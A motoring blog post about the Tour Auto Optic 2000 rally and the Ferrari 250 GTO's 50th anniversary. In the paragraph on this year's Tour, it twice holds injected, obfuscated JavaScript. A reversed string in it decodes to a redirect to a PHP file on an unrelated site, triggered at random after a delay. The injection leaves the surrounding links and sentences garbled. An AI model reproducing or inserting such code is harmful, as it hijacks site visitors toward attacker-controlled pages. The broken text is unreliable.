On the Tour Auto Optic 2000 that celebrated 50 years of the Ferrari 250 GTO, Thomas Quintin
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Any of you lucky enough to have been soaking up the sun on the Auvergne this past summer on Tour Auto Optic 2000 – a classic one-week historic rally snaking its way 2500km across the French plains which is open to models that competed on the original Tour de France Automobile between 1951 and 1973 – may well have seen this notable beauty rolling with a convoy of Ford GT40s, Lotus Elans and AC Cobras.
Well, granted, not just this one. As part of the celebrations honouring 50 years of the Ferrari 250 GTO, a couple did poke their noses, V12s, five-speed manuals and Borrani wire wheels in. And as the homologation of the GTO that won events such as the Targa Florio three years running from 1962-64, the GT category at the Le Mans 24hrs in 1962-63, and the Nurburgring 1000km in 1963-64, the 250 GTO is also ridiculously rare: less than forty were officially produced.
Whether or not arguably Maranello’s finest sportscar (I’ll leave you to argue amongst yourselves about that, or you could leave your thoughts in the comments box below) will be on the Tour this April remains to be seen. This year $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/ferdinand-porsche-r-i-p-legend-passes-at-76-years-young/” target=”_blank”>Ferdinand Alexander Porsche, who died this past April, and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-martin-centenary-spectacular-dubai/” target=”_blank”>Aston Martin’s centenary are being honoured, so expect a few classic 911s and DB5s to be rolled out.
After what has been hailed the world’s most expensive car crash (ahem, $32 million), US business Christopher Cox probably won’t be bringing his example along…
Source – Thomas Quintin
